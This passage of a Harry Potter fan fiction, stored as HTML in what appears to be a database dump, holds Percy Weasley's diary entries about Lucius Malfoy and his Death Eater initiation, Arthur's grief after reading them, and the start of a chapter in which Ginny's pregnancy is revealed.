src="http://groups.yahoo.com/group/stafic/files/percy.JPG"></p>\n\n<p></p>\n\n<p> I told this to Lucius and he laughed. Oh he has such a nice laugh, very rich and deep. He said that his wife isn&#8217;t exactly what he would call friendly and he never had any sisters so he doesn&#8217;t know women that well.</p>\n\n<p></p>\n\n<p> When it came time to pay for our meal, he insisted on covering it. I felt a bit embarrassed, almost as if we were on a date. Thinking back on it, I suppose we were. We Apparated back to the Ministry building so I could gather some work to take home with me. Lucius laughed that wonderful, rich laugh again and said that I work too much. He&#8217;s right, but I need to work. I need to be useful. I need to feel as if I&#8217;m helping my family. Father doesn&#8217;t seem to understand this and we&#8217;re always arguing about it. Some things never change, I suppose. He thinks I&#8217;m power hungry. But really, is that a bad thing?</p>\n\n<p></p>\n\n<p> I told Lucius this and he shook his head, a small smile playing about those beautifully sculpted lips of his. &#8216;You <b>are</b> useful, darling,&#8217; he said. Then he stroked my face with the back of his hand and I froze. I didn&#8217;t know what to do. I&#8217;d dreamt about it a million times, but I was never actually that close to another man in that way before; I could see his eyes glittering only inches from my own. Then he kissed me, gently on the mouth, and said that everything would be fine before walking to the Apparation room down the hall.</p>\n\n<p></p>\n\n<p> I&#8217;m still reeling. It could have meant nothing to him. He&#8217;s very European and don&#8217;t the French kiss each other on the mouth when parting with dear friends? I only wish I knew.</p>\n\n<p></p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n<p> 21st October, 1997</p>\n\n<p></p>\n\n<p> Well, I know that Lucius meant something a bit more than a friendly peck now. He&#8217;s come to take me back to that caf&#233; almost every night since last I wrote here. Just tonight he kissed me again. He really kissed me this time. It was a full body sort of thing, he leaned into me, and . . . well, it&#8217;s a bit embarrassing to write it all here. But suffice to say, I know more where he and I stand: in the same boat.</p>\n\n<p><img src="http://groups.yahoo.com/group/stafic/files/persuasion2.jpg"></p>\n\n<p></p>\n\n<p> There is no way that he, Lucius Malfoy, could possibly tell everyone that he fancies men (our society being as antiquated as it is), much less that he fancies <b>me</b>. I&#8217;m a Weasley, he&#8217;s a Malfoy. It&#8217;s the same thing faerie stories are made from. And I know that he fancies me, he said so.</p>\n\n<p></p>\n\n<p>I know that there&#8217;s a great difference in our ages, and in our stations, but when I&#8217;m with him&#8212; I feel like I could fly. I&#8217;ve never really felt that way before. Usually I&#8217;m so obsessed with my work that I don&#8217;t take time out to enjoy life. But I am now. I&#8217;ve earned it. I was a model student at school and I&#8217;ve been a model employee at the Ministry. I deserve a bit of fun and adventure.</p>\n\n<p></p>\n\n<p>I was a boy the first time I saw Lucius Malfoy. He and Dad were having an argument about something or other when we went to Diagon Alley to buy my school supplies for my first year at Hogwarts. I don&#8217;t remember a word of what they were arguing about, but I remember his face. I suppose it was a bit of hero worship then, even though he is and was no hero. But he wants me. Me, plain Percy Weasley. It&#8217;s mind-boggling, the entire concept.</p>\n\n<p></p>\n\n<p> He sends me the loveliest notes. They&#8217;re all very vague of course, and he always signs them with an &#8216;L&#8217; instead of his name. But as vague as they are as far as referring to certain people or places, they are full of tender affection written in his formal manner. They&#8217;re never commonplace or crass, which is something I deeply respect. I keep them in a bundle under a loose floorboard in my room. It wouldn&#8217;t do for Mum to find them while cleaning, even if she didn&#8217;t know who sent them. They&#8217;re too personal to me and I don&#8217;t want to share them, or him, with anyone.</p>\n\n<p></p>\n\n<p> I <b>do</b> have to share him though. He has a wife and a child, which I can&#8217;t allow myself to forget. I feel badly every time he kisses me, but he assures me that his wife knows his habits and they reached an agreement on the subject long ago. I still feel absolutely wretched though, knowing that he has a wife.</p>\n\n<p></p>\n\n<p> Lucius says that it was an arranged marriage. I didn&#8217;t know until he told me that she is actually his cousin, although I should have guessed because they look almost exactly alike. Years ago, it was fairly common among pure-blooded families to marry within the family line, but I didn&#8217;t think anyone still did that in this day and age. (Then again, my family has always been far removed from the rest of blood society, so I&#8217;ve never had much of a grasp on the older traditions among fellow pure-blood families) I also didn&#8217;t know that he was related by marriage to the Blacks. His wife, Narcissa; her mother was a Rosier and her father a Black. </p>\n\n<p></p>\n\n<p> I remember reading about that family in The Daily Prophet when Sirius Black first escaped Azkaban. It wasn&#8217;t good at all. The whole family was supposed to practice very Dark magic and I suppose they must have. (No matter what mother or father may say, I believe that Black was guilty as charged.) However, they say that the Malfoys practice Dark magic, too, but I&#8217;ve yet to see something as horrible as everyone suggests about them.</p>\n\n<p></p>\n\n<p> His son is contracted to be married after he leaves school to another cousin from Lucius&#8217; mother&#8217;s side, a Rosier. It&#8217;s really fascinating, all this. He has so many connections to wealthy, pure-blooded families throughout Britain and France. If I ever want to find a position elsewhere, Lucius would surely be able to find me something. He laughs, though, and says that I&#8217;m needed here for the moment.</p>\n\n<p></p>\n\n<p>I&#8217;ve learnt so much from him already. For instance, I hadn&#8217;t the faintest idea why many wizards have an aversion to Muggle-born witches and wizards. I assumed that it was some sort of deeply ingrained prejudice, at least that&#8216;s what Dad always told us. After all, our society is very old-fashioned still when compared to other countries. But Lucius told me, over a cup of coffee as he says he can&#8217;t abide tea, that Muggle-borns don&#8217;t live as long as pure-bloods, and most pure-bloods are afraid of their lines becoming polluted by Muggle blood because it means that their descendants won&#8217;t live as long as we will, and there are increased chances of having a Squib for a child or further down the line.</p>\n\n<p></p>\n\n<p> It&#8217;s really quite fascinating and I hadn&#8217;t thought of it before. I think now that I&#8217;m a bit relieved that I didn&#8217;t marry Penelope after all; her mother was a Muggle-born. It&#8217;s horrible to imagine our children living half-lives simply because their blood wasn&#8217;t pure. I feel sorry for them, though. Hermione, Ron&#8217;s friend, told me that her grandmother died when she was eighty. Can you imagine it? Only eighty years on this earth and dying of old age? Headmaster Dumbledore is somewhere close to one hundred and sixty now, if I remember correctly, yet he is still vibrant and in excellent health.</p>\n\n<p></p>\n\n<p> Perhaps Lucius is right when he says that they shouldn&#8217;t know our world. I mean, it&#8217;s terribly cruel to show them witches and wizards, some of whom will live to be well over two hundred, when they themselves will only live to see half of that at best. It upset me a great deal and I should really think on it. I must say though that Lucius seems to be converting me to his very idealistic way of thinking more and more.</p>\n\n<p></p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n<p> 1st November, 1997</p>\n\n<p></p>\n\n<p> Ah, everything seems to be work lately. I&#8217;ve been very busy, what with the new reports on the international standard wand weight coming out tomorrow, and I still haven&#8217;t finished my report on the Ministry&#8217;s new white-willow bark policies. It seems that they are having a devil of a time with the Americans in regards to importing it, and I believe that it will wind up inflating the price of headache potions and Floo powder if the disagreement isn&#8217;t settled soon. A Mr Avery is supposed to be handling negotiations, so I must have this report finished as soon as possible before he leaves for America with Lucius tomorrow. </p>\n\n<p></p>\n\n<p> But I&#8217;m on my lunch and I&#8217;ve had enough of working for the moment, so on to my favourite subject and guilty pleasure: Lucius. Today is All Soul&#8217;s Day and Lucius said that he has a very special friend that he wants me to meet. He said that this man understands our predicament and is eager to help us procure some alone time. Also, he has some special plans for the afternoon since it&#8217;s a bit of a holiday, even though I&#8217;m working. I hate to admit that I&#8217;m excited to be leaving work early, but I am.</p>\n\n<p></p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n</i><p><i>\n\n</i> *~*~*~*~*</p>\n\n<p></p>\n\n<p>The flask of Muggle whiskey was still in his drawer, and he poured a generous amount into his cup before taking a sip. Usually, he was loathe to drink, especially in the office, because it upset his wife. But today was an exception and surely Molly would understand just this once if he came home a bit tipsy.</p>\n\n<p></p>\n\n<p> It had been well over two and a half months since Percy died, but Molly was still grieving deeply. Arthur was grieving, too, but in his own, more quiet way. His wife could be a bit dramatic at times, but everything she did was out of love for others and he couldn&#8217;t bring himself to tell her that it was time to move on, because he hadn&#8217;t done so either. </p>\n\n<p></p>\n\n<p> Molly did seem a bit better lately though. He hadn&#8217;t heard her cry for almost two weeks, and just the other evening she&#8217;d greeted him at the door with a smile. Perhaps Molly had finally found something to keep her occupied during the day with all the children finally gone. Bill&#8217;s visit the week before must have done its work.</p>\n\n<p></p>\n\n<p> Arthur flipped through the journal and skimmed a bit, glossing over Percy&#8217;s meetings with Voldemort and Lucius. He couldn&#8217;t bear to read anymore about how they had twisted Percy&#8217;s mind into believing their rubbish with convincing debates, playing on Percy&#8216;s natural sympathy. If he hadn&#8217;t known better, Arthur may have been inclined to believe it himself. As it was, he knew them for the lies and half-truths they were. He couldn&#8217;t blame Percy, though. He just couldn&#8217;t do it.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n<i>23rd December, 1997</i></p><i>\n\n<p></p>\n\n<p> I&#8217;m to be initiated tomorrow night. I admit that I&#8217;m nervous and I wonder if I&#8217;m doing the right thing. My Lord has said several times that it&#8217;s the best way to keep my family safe because I will soon have the power and influence to make sure that they are well protected.</p>\n\n<p></p>\n\n<p> I feel a bit nervous about staying at Malfoy Manor with Lucius. His wife is directly nearby, but she hasn&#8217;t been anything but kind to me. She knows of my relationship with her husband and doesn&#8217;t seem to mind. I feel selfish for asking Lucius to leave her before. </p>\n\n<p></p>\n\n<p> Sometimes I&#8217;ll bring her a tea tray, as she&#8217;s usually sickly, and we&#8217;ll talk. I hesitate to say that we&#8217;re friends, but we have an understanding and don&#8217;t speak of Lucius to each other.</p>\n\n<p></p>\n\n<p> Narcissa strikes me as a very gentle woman, and if it weren&#8217;t for her formal manner, she would remind me a bit of Penelope. She&#8217;s too well bred to show her emotions beyond a lifted eyebrow or a slight twist of her lips and I admire her very much for that. If not for the situation we&#8217;re in, I think that we could be very good friends.</p>\n\n<p></p>\n\n<p> Lucius doesn&#8217;t seem to think much of his wife, but that is his business, I suppose. If I fancied women, I would certainly pick someone like her for a partner. Lucius is annoyed by her constant sickness and says that she&#8217;s &#8216;acting&#8217;, but I don&#8217;t see anything that points in that direction. Perhaps she is, and I couldn&#8217;t blame her for it. She seems lonely and even sicklier since her son&#8217;s disappearance a few days ago.</p>\n\n<p></p>\n\n<p> I remember Draco only vaguely from school. My impression of the boy then was a spoiled brat with a foul sense of humour. Surely he&#8217;s grown since then, as everyone grows up eventually. Narcissa seems to be concerned for him in a very hazy way, and Lucius is more angry than upset, I think. If it were Mum and Dad and one of us went missing, they would be out of their minds with worry. But everyone deals with things in their own way.</p>\n\n<p></p>\n\n<p>Lucius goes out every night with his &#8216;brothers&#8217; to search for the boy, but they haven&#8217;t found a trace of him yet. I&#8217;ll soon be in that brotherhood and I&#8217;m still a bit frightened. Dad always told such horrible stories about the Death Eaters, and I&#8217;m too young to remember the time when My Lord was in power before. But he says that everything is necessary to cleanse our community of Muggle-borns and it&#8217;s for the best. My Lord tells me, when we sometimes speak in front of the fire late at night, that no one will be harmed and I find myself believing him.</p>\n\n<p></p>\n\n<p> It&#8217;s uncanny, but he seems to really care for me as a friend and understand me. I don&#8217;t think even Ginny could understand me as he and Lucius do. But tomorrow night I will belong to that select brotherhood. They will take me into the fold and I will have power. I can take care of my Mum, and Dad won&#8217;t have to work in that horrible, cramped office of his any more. Why, I could be Minister of Magic someday if I wanted! Then everyone in the wizarding world would respect the name Weasley and say to themselves: &#8216;what a lovely, upstanding, wealthy family! Who would have supposed that young Percy would do so well?&#8217;</p>\n\n<p></p>\n\n<p> Young Percy <b>will</b> do well. Ginny and Ron will have new robes and school supplies, and Mum will have a lovely cottage in Hogsmeade for holidays. Dad will have time to enjoy his life instead of constantly worrying about our welfare. Everything will be perfect.</p>\n\n<p>\n\n</p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n<p> 24th December, 1997</p>\n\n<p></p>\n\n<p> This is the night. I&#8217;m terribly anxious sitting here with Narcissa until they call me. She&#8217;s fallen asleep already, poor dear. I suppose she&#8217;s worn out from our conversation.</p>\n\n<p></p>\n\n<p> It really is the oddest thing. We rarely ever speak of personal matters, preferring instead to talk about a book we&#8217;d read or what products we&#8217;re keen on using in our hair. This evening, though, when I came to see her, she sat me down very close on her bed. I usually sit in a chair beside her during visits, but not tonight. She said that she had much to tell me before I take my vows to My Lord.</p>\n\n<p></p>\n\n<p> She started out with a story from her school days, how she&#8217;d been carefree and na&#239;ve then. I can&#8217;t imagine her ever laughing, but I suppose everyone does when they&#8217;re young, don&#8217;t they? Narcissa went on to say that she&#8217;d met Lucius for the first time when she was eighteen and fresh out of school. I&#8217;m aware that she&#8217;s younger than Lucius, but I still don&#8217;t know how young. She left Hogwarts the same year Bill entered his first year there, so she must be about thirty-six or seven. She&#8217;s still very youthful looking, not appearing much over twenty five, but there&#8217;s something in her eyes that makes me wonder about Lucius at times. He could be nicer to her even if he doesn&#8217;t feel much affection for her. She&#8217;s still his wife, after all.</p>\n\n<p></p>\n\n<p> Narcissa drifted on a bit, lost in memories, and I let her tell me about them. I have the impression that she doesn&#8217;t usually have anyone to talk to, and my presence in her home gives her an opportunity to do so freely. </p>\n\n<p></p>\n\n<p>Then she took my hand and looked at me earnestly. She has very pretty eyes, a pale grey colour similar to Lucius&#8217; and they&#8217;re terribly appealing. She&#8217;s almost a twin to Lucius, and I can see the family resemblance easily. Perhaps her face is more delicately pointed than his, and her eyes are more like pools of emotion. Draco is lucky to resemble his parents so closely. Sometimes I almost wish that I was different and she was different, but . . . </p>\n\n<p></p>\n\n<p> She told me that I reminded her of a friend she&#8217;d once had. That I&#8217;m intelligent and gentle, like he was, and that maybe I would understand.</p>\n\n<p></p>\n\n<p> &#8216;I won&#8217;t speak ill of my husband, but I don&#8217;t want to see you hurt, Percy,&#8217; she said to me. &#8216;You&#8217;re a good child to your parents, and I&#8217;m sure that they&#8217;re proud of you, but you mustn&#8217;t do this tonight. You&#8217;ll sign away all of your freedom and be forced to do things which may go against that delicate conscience of yours.&#8221; Narcissa tapped my chest with one of her long, elegant fingers. &#8220;Our Lord&#8217;s heart may be in the right place, but I believe that he goes about things with unnecessary violence. And Lucius isn&#8217;t known for his compassion, either.&#8217;</p>\n\n<p></p>\n\n<p> I covered her hand with my own and brushed some of the white hair away from her face. I wonder if it was ever blonde at all, instead of this lovely silver. She seems <b>all </b>silver and pale and interesting; shimmering like some fragile princess in a gilded tower. </p>\n\n<p></p>\n\n<p> &#8216;Narcissa, Lucius would never hurt me, and My Lord is an honest man. Don&#8217;t believe the lies that you&#8217;ve read over the years. They&#8217;re working for the greater good and even if they weren&#8217;t, you know that I would do anything to help my family, don&#8217;t you? This will benefit them more than it will me. Surely you understand that.&#8217;</p>\n\n<p></p>\n\n<p> She gazed at me sadly for a moment before nodding her head. &#8216;Of course I do. You have your pride and that is very commendable. Sometimes I feel that pride is all I have left of myself.&#8217;</p>\n\n<p></p>\n\n<p> Narcissa was silent for a space, and she would squeeze my hand every now and then while she dozed lightly. I sat there with her and sang a lullaby I remember Mum used to sing when I was small. Sometimes I wish that I was still that little boy and didn&#8217;t have this responsibility pressing on me. But I do, and I wouldn&#8217;t trust it to anyone else.</p>\n\n<p></p>\n\n<p> After about an hour, I rose to go, but she asked me to stay with her for a while longer. Of course I sat back down. It was still a good two hours until midnight and I had nothing better to do with my time.</p>\n\n<p></p>\n\n<p> &#8216;Percy,&#8217; she said, rubbing the back of my hand with her thumb and staring at me from out of those marvellous eyes. &#8216;Your visits have meant a great deal to me. I hope that, whatever decision you make tonight, you&#8217;ll continue to come to me?&#8217;</p>\n\n<p></p>\n\n<p> I smiled at her. How could I not? She&#8217;s a beautiful woman and a very dear friend. &#8216;Of course I will,&#8217; I replied. &#8216;We&#8217;re good mates, aren&#8217;t we?&#8217;</p>\n\n<p></p>\n\n<p> Narcissa closed her eyes and smiled slightly. I think it&#8217;s the first time I&#8217;ve ever seen her do so. &#8216;Yes, Percy. We&#8217;re good mates.&#8217;</p>\n\n<p></p>\n\n<p> I thought she was asleep then, but she wasn&#8217;t. &#8216;Percy, you must never betray my husband.&#8217;</p>\n\n<p></p>\n\n<p> &#8216;Why would I do that? He means the world to me.&#8217;</p>\n\n<p></p>\n\n<p> &#8216;Yes, but.&#8217; She licked her lips here and opened her eyes. &#8216;You may not like some of the things you&#8217;ll be doing soon. Lucius won&#8217;t hesitate to kill you if you betray him.&#8217;</p>\n\n<p></p>\n\n<p> I was flabbergasted. I can&#8217;t conceive of the thought of betraying Lucius or My Lord, but most especially Lucius. He loves me and I don&#8217;t think that he would ask me to do something that would go against my conscience. I told her this and she smirked, reminding me a bit of her lost son.</p>\n\n<p></p>\n\n<p> &#8216;I can conceive of a great many reasons why you may betray him one day. I even betrayed him once myself; ran away shortly after we were married to seek refuge with my cousin.&#8217; Her brow crumpled from the weight of her dark thoughts. &#8216;If it wasn&#8217;t for the fact that I&#8217;m his wife and he would have a difficult time explaining my disappearance, I would have been dead. As it is, I&#8217;ve wished many times that I were, over the years.&#8217; She sighed and sat up a little against her pillows. &#8216;You he wouldn&#8217;t have to explain though. No one knows that you&#8217;re here aside from the brotherhood and myself. Please be careful, Percy. I would miss you if you were gone.&#8217;</p>\n\n<p></p>\n\n<p> I was both touched and horrified. Horrified at her sadness and the fact that she had left Lucius, and touched by her concern. I think sometimes that she isn&#8217;t all there upstairs. Maybe she fell on her head as a child.</p>\n\n<p></p>\n\n<p> &#8216;I&#8217;ll be careful, Narcissa. I promise I will. And you&#8217;ll see, everything will be all right. You&#8217;ve nothing to worry about.&#8217;</p>\n\n<p></p>\n\n<p> Narcissa smiled again, weakly, and pulled my face down to hers, giving me a gentle peck on the lips. It was a chaste kiss, like the ones parents share with their children. &#8216;I&#8217;ll miss you, Percy.&#8217;</p>\n\n<p></p>\n\n<p> &#8216;But I&#8217;m not going anywhere.&#8217;</p>\n\n<p></p>\n\n<p> &#8216;All the same, I&#8217;ll miss you.&#8217;</p>\n\n<p></p>\n\n<p> She patted the space beside her and urged me to share some of her quilt, as there was more than enough for two people. Eventually she fell asleep against my shoulder and I started writing this. It&#8217;s only half an hour until my initiation and I must get ready. I&#8217;ll give Narcissa a kiss on the forehead and leave her a note to let her know where I&#8217;ve gone. Tomorrow is Christmas and perhaps I can persuade her to have an early coffee with Lucius and I, since I plan to visit with my family in the afternoon. I have the most beautiful locket for Ginny; I hope she likes it. In fact, I think I&#8217;ll mark this passage with it so I don&#8217;t lose it. I&#8217;m always losing small items and I really want her to have this. </p>\n\n<p></p>\n\n<p> I&#8217;ll come back here in the evening. Maybe Lucius&#8217; son will come home to spend Christmas with his parents. And I wish Narcissa wouldn&#8217;t worry over me so much. I&#8217;ll be back. I promise.</p>\n\n<p></p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n</i><p></p>\n\n<p>That was the last entry Percy had written in his journal. Arthur picked up the locket and weaved the chain through his fingers. It was very pretty. A golden dragon&#8217;s claw held a small, ruby heart that broke into two parts when you pressed a small, gold catch on the side. On the back was an inscription, which read: <i>To Ginny, who gave me the courage to follow my heart</i>. There was a picture of Percy and Ginny as children nestled inside of the locket, waving at him.</p>\n\n<p></p>\n\n<p> It was all too much and Arthur rested his cheek on the cool, satiny finish of his desk, faintly registering pleasure as it chilled his too-warm skin. He kept the locket firm in his palm, fingers curled over it protectively as the tears started leaking from the corner of he eye. His shoulders trembled with the aftershocks of reading about his son&#8217;s final hours and he clutched at the trinket, the chain biting into his hand. Arthur wondered silently if he should let his wife read the journal. Would it bring comfort or misery? Even after reading it himself, Arthur still didn&#8217;t know which emotion he felt. </p>\n\n<p></p>\n\n<p> He supposed that it at least gave closure, and he decided that Molly should read it after all. But not now. It was too soon and the pain was too fresh. This would only sink her back into the depression that she was only now emerging from. Their children were once again out of the nest and scattered to the four winds. Two were at school still, and the rest were all out and about, leading their lives and struggling with the day to day. Molly needed something to take care of, someone to concentrate on other than herself. Perhaps when Ron left school he would consider coming home for a while to keep her busy.</p>\n\n<p></p>\n\n<p> Arthur remembered with a painful smile that Voldemort&#8217;s promise to Ron hadn&#8217;t been a lie exactly. He&#8217;d promised his son wealth and fame if he betrayed Harry. Now Ron had these things, but all because he had <i>not</i> followed Voldemort. It was a bit ironic.</p>\n\n<p></p>\n\n<p> One of these days he needed to have a talk with Harry and apologise. He wasn&#8217;t angry with the boy anymore, and Molly harped at him for his hasty words on a daily basis. Harry was growing up and was just as much a son to him and Molly as the rest, despite breaking off his friendship with Ron. Harry needed guidance and love more than Ron did, though. The poor boy had no real family to speak of except for those blasted Dursleys. All children make mistakes.</p>\n\n<p></p>\n\n<p> A frantic tapping startled him from his thoughts and Arthur had to think for a moment before he remembered that he had a window in his office now. He stood up swiftly to let the creature inside. It fluttered around for a few moments before landing on his desk and sticking its leg out for him to take the letter. After the letter was removed it flew away, not waiting for a reply or an owl treat.</p>\n\n<p></p>\n\n<p> Arthur shrugged and opened the letter. It bore the Hogwarts crest at the top and read:</p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n<i> Mr and Mrs Weasley,</i></p><i>\n\n<p></p>\n\n<p> Your presence is requested at Hogwarts School of Witchcraft and Wizardry. This concerns your daughter, Virginia Weasley. We&#8217;ve scheduled an appointment for you both this evening, approximately an hour after dark falls, in the Headmaster&#8217;s office. </p>\n\n<p></p>\n\n<p> Yours sincerely,</p>\n\n<p></p>\n\n<p>Professor M. McGonagall</p>\n\n<p>\n\n</p>\n\n<p> Deputy Headmistress</p>\n\n</i><p></p>\n\n<p></p>\n\n<p> What the devil was this about then? Was Ginny in trouble? </p>\n\n<p></p>\n\n<p> Arthur sighed and looked at his clock. It was three hours until he was due to leave work, and roughly another two after that before he and Molly had to be at Hogwarts. He summoned a Ministry owl and scrawled a quick note to his wife, asking to have supper prepared early, as they had to go somewhere that evening.</p>\n\n<p></p>\n\n<p> He wouldn&#8217;t tell her what was going on until he got home, there was no use upsetting her about all this. It was probably nothing to worry about. If Ginny had been in an accident they wouldn&#8217;t set up an appointment for them, would they? Arthur only hoped that this wasn&#8217;t bad news. Any more pressure on Molly and she would likely have a heart attack.</p>\n\n<p></p>\n\n<p> Since he couldn&#8217;t concentrate on his work anyway, Arthur decided to write out a quick note to Mrs Malfoy, thanking her for her kindness toward his son. She had tried to at least make him think about the violence involved with being a Death Eater, even if she hadn&#8217;t disputed that all of Voldemort&#8217;s propaganda were lies. She probably believed them herself. But she had tried, and even though her advice to Percy came too late to save him, Arthur was grateful. </p>\n\n<p></p>\n\n<p> Right before he sent the letter out, he remembered that she had moved back to <i>Mound-bluet</i>&#8212; Malfoy Manor the day before and scribbled out the name of the hotel and wrote that instead. Arthur felt fortunate that he could at least spell the name, even if he couldn&#8217;t pronounce it. He sprinkled some sand on the envelope to dry the ink and blew it away before attaching the letter to another Ministry owl and seeing it off.</p>\n\n<p></p>\n\n<p> No more work was done that day, as Arthur was lost in thought of both what might have been and what was coming next.</p>\n\n<p></p>\n\n<p>\n\n<b>Reviewing is good for the soul. For the soulless, like myself, it may help you fellow writers out there with good karma and many review-like returns. Muah! ::flaps cloak and Disapparates in a poof of dramatic, green sparkles::</b></p></font></blockquote>\n\n '),
	(271, 29, ' <blockquote>\n\n<font face="Palatino Linotype"><p>Authour&#8217;s Notes: Yes, I&#8217;ve been a bad-bad girl. I also lost my phone temporarily, so updating was sort of difficult. However, here is the chapter you&#8217;ve all been waiting for. Before you read, though, a request: <b>Please don&#8217;t get disgusted and stop reading after this chapter. </b>I&#8217;ve led you this far and I promise that this is intrinsic to the plot in a sneaky roundabout sort of way. It&#8217;s also a side-effect of one of the major plot points and a contribution to the overall theme. I&#8217;ve done my best to keep the tone as canon as possible, but clich&#233;s happen to the best of us. As my friend Thalia says, everything is a clich&#233;. Look forward to more interesting developments between Draco and Ginny in the future, it&#8217;s just a bit long in coming. And I do hope everyone likes Narcissa, she really starts becoming more a part of the story during and after this chapter. Five points to those who can make out all the parallels clicking into place in this chapter.</p>\n\n<p> For VioletJersey, you will get a little squee in at the end of the chapter I&#8217;m sure. ;) </p>\n\n<p> Again, I thank everyone for sticking with me this far. Your reviews have been wonderful and I look forward to seeing how everyone takes this new development in the story. Good or bad, let me know what you think. Be honest and I&#8217;ll consider your opinions as near and dear to my heart.</p>\n\n<p> I do have a request though: Please god do not tell me any more about Cassandra Claire and the Draco Trilogy. I appreciate the comparison, but the more I dwell on AIDE&#8217;s comparison to DT, the more heartsick I become. AIDE is my carefully unfurled flower - nurtured over time and watered regularly - and as I learn more about writing and read more fan fiction, the less I like DT. Yes, I did read it, but that was so long ago that I barely remember anything from it. So to repeat myself: I&#8217;m happy that you like/dislike my fic, but please no more about CC and DT. Now that I&#8217;ve been a bit of snobby wench, feel free to read now. :P</p>\n\n<i><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8216;The daughter especially shall be handled without cherishing. </p>\n\n<p>For cherishing marreth sons, but it utterly destroyeth daughters.&#8217; </p>\n\n<p>~Juan Luis Vives</p>\n\n</i><p></p>\n\n<p></p>\n\n<p>Ginny walked into the Headmaster&#8217;s office with McGonagall&#8217;s hand gripping her forearm firmly, almost as if she were afraid that Ginny would run away. The older woman&#8217;s lips were thinned and her eyes had regained their steel. Ginny swallowed nervously when she saw the back of her parents&#8217; heads. Then a flash of silver caught her eye and she followed it to where Draco and his mother were sitting. Ginny whimpered.</p>\n\n<p></p>\n\n<p> &#8220;Ah, Miss Weasley! And Minerva, most excellent.&#8221; Dumbledore stood up when the two women entered and bowed his head slightly in acknowledgement before gesturing broadly to the rest of the group. &#8220;Please join us, ladies,&#8221; he said brightly, conjuring another plush armchair into existence beside Mrs Weasley and urging Ginny to sit down.</p>\n\n<p></p>\n\n<p> &#8220;Are you finally going to tell us why we&#8217;re all here, Headmaster?&#8221; Draco asked, his tone one of lazy indulgence whilst he tapped his long fingers on his armrest. Ginny saw a shuffle in the shadows near the crystalline perfection that was Mrs Malfoy and realised that another person was here: Snape.</p>\n\n<p></p>\n\n<p> &#8220;I thought it would be polite to wait for Miss Weasley to join us first, young Mr Malfoy. But you may catch up on your beauty sleep soon enough, I promise you.&#8221; Dumbledore smiled obliquely at Draco&#8217;s scowl and Ginny had to bite her lip to contain the nervous giggles that were bubbling in the back of her throat.</p>\n\n<p></p>\n\n<p> McGonagall cleared her throat loudly. &#8220;May we begin <i>now</i>, Albus?&#8221; she asked briskly. &#8220;I&#8217;ve a large stack of exams to mark and I fear we&#8217;ll be here until tomorrow if you don&#8217;t stop playing with them and get to the point!&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore winked at her and she flustered. &#8220;Quite right, Minerva. Thank you for being, as always, the voice of reason.&#8221; Then he turned his sparkling gaze on Ginny and she squirmed in her seat. &#8220;Anytime you&#8217;re ready, my dear.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s eyes popped wide. &#8220;M-me? I couldn&#8217;t possibly&#8212;I mean&#8212;I don&#8217;t even know what we&#8217;re here for.&#8221; She lifted her head and congratulated herself on a good save.</p>\n\n<p></p>\n\n<p> McGonagall pursed her lips and Mr and Mrs Weasley only looked nervous. Draco and his mother remained completely unperturbed and Ginny envied their calm composure. </p>\n\n<p></p>\n\n<p> Snape snorted and stepped out of the shadows, the soft swish of his robes disturbing the still air. &#8220;Enough of this nonsense.&#8221; Snape drew himself up and addressed Dumbledore directly. &#8220;I apologise, Albus, but I would prefer to be done with this some time tonight and if you leave it up to the Weasley girl, we&#8217;ll never leave.&#8221; He pointed his wand at a startled Ginny and pronounced: &#8220;<i>Paternatus Revealo Octo</i>!&#8221;</p>\n\n<p></p>\n\n<p> The air around Ginny became thick and close, but when it cleared, she saw before her the shadowy forms of herself and Draco and - standing between them - two red-haired children, both about eight years old. Ginny&#8217;s mouth fell open. She heard her mother&#8217;s shocked yelp beside her and her father&#8217;s sharp intake of breath. It was a good thing Hermione had never found this spell. Ginny felt sure that she would have dropped dead from the upset if Hermione had cast it on her that morning.</p>\n\n<p></p>\n\n<p> Ginny gazed numbly at the two children for a moment before glancing over to see Draco&#8217;s reaction. He was wide-eyed, but he wouldn&#8217;t have seemed otherwise affected if it wasn&#8217;t for the way he was gripping the arms of his chair. Draco&#8217;s mother, however, seemed furious and she kept opening and closing her mouth without making a sound. She had finally lost a bit of her icy composure.</p>\n\n<p></p>\n\n<p> When Ginny turned back to look at the forms of her children again, she caught sight of Dumbledore. The Headmaster was leaning forward in his chair; raptly studying the shadowy boy and girl with a surprised, but strangely pleased smile tugging at his lips. Then he nodded at Snape and the scene disappeared.</p>\n\n<p></p>\n\n<p> &#8220;This is preposterous!&#8221; Mrs Malfoy finally managed to strangle out. &#8220;How dare you offer us that&#8212;that <i>illusion</i> and try to claim&#8212;to claim that&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No one has claimed anything so far, Narcissa,&#8221; Dumbledore said mildly while folding his hands on his desk. &#8220;However, if you follow the logical conclusion, it appears as though you are going to be a grandmother.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley started sobbing and Mr Weasley attempted to soothe her while glancing anxiously at Ginny from over her shoulder. Mrs Malfoy was still babbling incoherently.</p>\n\n<p></p>\n\n<p> &#8220;Impossible! I&#8217;m too young to be a grandmother! I&#8217;m not even thirty yet and a <i>grandmother</i>!&#8221; She harrumphed and sat up rigidly in her chair.</p>\n\n<p></p>\n\n<p> Draco seemed to have recovered by this point, though. &#8220;You&#8217;re thirty-seven, Mother,&#8221; he said dryly.</p>\n\n<p></p>\n\n<p> Mrs Malfoy glared at her son and then smoothed out the skirt of her robes with trembling fingers. &#8220;Grandmother,&#8221; she muttered softly. &#8220;I never . . .&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh Ginny!&#8221; Mrs Weasley wailed, lifting her head from her husband&#8217;s soaked shoulder. &#8220;How could you do this to us? We&#8217;ll never be able to hold our heads up in public again! I thought that after Bill almost had his accident with that French <i>tart </i>that you lot would think more on this 